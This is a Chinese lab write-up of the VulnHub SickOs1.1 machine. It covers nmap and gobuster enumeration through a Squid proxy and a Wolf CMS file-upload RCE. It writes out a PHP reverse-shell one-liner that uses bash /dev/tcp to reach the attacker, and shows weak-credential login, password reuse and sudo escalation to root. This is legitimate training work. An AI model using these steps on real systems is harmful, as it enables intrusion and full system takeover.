VulnHub-SickOs1.1靶机笔记

SickOs1.1靶机笔记

概述

Vulnhub的靶机sickos1.1 主要练习从互联网上搜取信息的能力，还考察了对代理使用，目录爆破的能力，很不错的靶机

靶机地址：
链接: https://pan.baidu.com/s/1JOTvKbfT-IpcgypcxaCEyQ?pwd=ytad 提取码: ytad

一、nmap扫描

1）主机发现

sudo nmap -sn 192.168.111.0/24

MAC Address: 00:50:56:FA:CB:D3 (VMware)
Nmap scan report for 192.168.111.11
Host is up (0.00018s latency).

看到靶机地址是192.168.111.11

2）端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.111.11 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:35 CST
Nmap scan report for 192.168.111.11
Host is up (0.00056s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:DA:7A:E1 (VMware)Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds

3）详细信息

sudo nmap -sT -sV -sC -O -p22,3128,8080 192.168.111.11 -o details

Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:37 CST
Nmap scan report for 192.168.111.11
Host is up (0.00044s latency).PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 093d29a0da4814c165141e6a6c370409 (DSA)
|   2048 8463e9a88e993348dbf6d581abf208ec (RSA)
|_  256 51f6eb09f6b3e691ae36370cc8ee3427 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
8080/tcp closed http-proxy
MAC Address: 00:0C:29:DA:7A:E1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.98 seconds

看到3128和好像是个squid代理服务器，8080好像是关闭的代理服务

4）默认脚本扫描

sudo nmap --script=vuln  -p22,3128,8080 192.168.111.11 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:40 CST
Nmap scan report for 192.168.111.11
Host is up (0.00051s latency).PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:DA:7A:E1 (VMware)Nmap done: 1 IP address (1 host up) scanned in 11.35 seconds

没什么信息

二、web渗透

打开网页看看

介绍一下

Squid cache（简称为Squid）是一个流行的自由软件（GNU通用公共许可证）的代理服务器和Web缓存服务器。Squid有广泛的用途，从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度，到为一组人共享网络资源而缓存万维网，域名系统和其他网络搜索，到通过过滤流量帮助网络安全，到局域网通过DL上网。Squid主要设计用于在Unix一类系统运行。

看来他应该就是一个代理服务器，但这里访问页面报错了

看看8080端口

看来8080不允许我们连接，可能是他做了ip的一些限制。

我们是不是可以通过3128的代理来访问8080端口呢？尝试一下

在这里插入图片描述

看到不行

但是我们可以访问80端口了

BLEHHH是网络口语，表示很烦，很郁闷，厌恶的意思

我们做目录爆破吧

sudo gobuster dir -u http://192.168.111.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --proxy http://192.168.111.11:3128

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.111.11
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://192.168.111.11:3128
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 21]
/connect              (Status: 200) [Size: 109]
/robots               (Status: 200) [Size: 45]
/server-status        (Status: 403) [Size: 295]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

打开看看

有一个wolfcms路径

而connect是一个文件

cat connect.py           
#!/usr/bin/pythonprint "I Try to connect things very frequently\n"
print "You may want to try my services"

通过这些发现，我们现在就可以访问一下wolfcms

查找历史漏洞

searchsploit wolf

看到一个RCE漏洞

searchsploit wolf -m 51421

# Exploit Title: Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
# Date: 2023-05-02
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://wolf-cms.readthedocs.io
# Software Link: https://github.com/wolfcms/wolfcms
# Version: 0.8.3.1
# Tested on: Kali Linux### Steps to Reproduce #### Firstly, go to the "Files" tab.
# Click on the "Create new file" button and create a php file (e.g:
shell.php)
# Then, click on the file you created to edit it.
# Now, enter your shell code and save the file.
# Finally, go to https://localhost/wolfcms/public/shell.php### There's your shell! ###

他说有个files选项，可以使我们上传php脚本，应该是管理员的功能

我们现在需要知道后台管理页面的路径，可以google搜索

看到

2. Proof of ConceptA)Login as regular user ( who have access upload functionality )B)Go to this page  -
http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/C)Select upload an file option to upload Arbitary File ( filename ex:
"hello.php" )D)Now you can access the file by here -
http://targetsite.com/wolfcms/public/hello.php

应该就是admin了

尝试弱口令admin:admin成功登陆

三、获得立足点

根据上述RCE的文本操作，上传php反弹shell文件，进而获得立足点

准备反弹shell文件

echo -e "<?php system(\"bash -c 'bash -i >& /dev/tcp/192.168.111.10/4444 0>&1'\"); ?>" > rev.php

上传成功

我们在kali里开启监听，去puplic目录下访问上传的rev.php文件

http://192.168.111.11/wolfcms/public/

成功获得立足点

四、提权

在文件中查找

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php
cat

cd /home
www-data@SickOs:/home$ ls
ls
sickos

都看到了pass的字样，尝试口令复用，看一下这个密码是不是ssh的

root:pswpsw123

sickos:pswpsw123

root:john@123

sickos:john@123

我们们成功获得了sickos的用户权限

看到sickos用户拥有所有的sudo权限

启动一个新会话到root

sudo /bin/bash -p

root@SickOs:/root# ls
a0216ea4d51874464078c618298b1367.txt
root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt 
If you are viewing this!!ROOT!You have Succesfully completed SickOS1.1.
Thanks for Trying

成功提权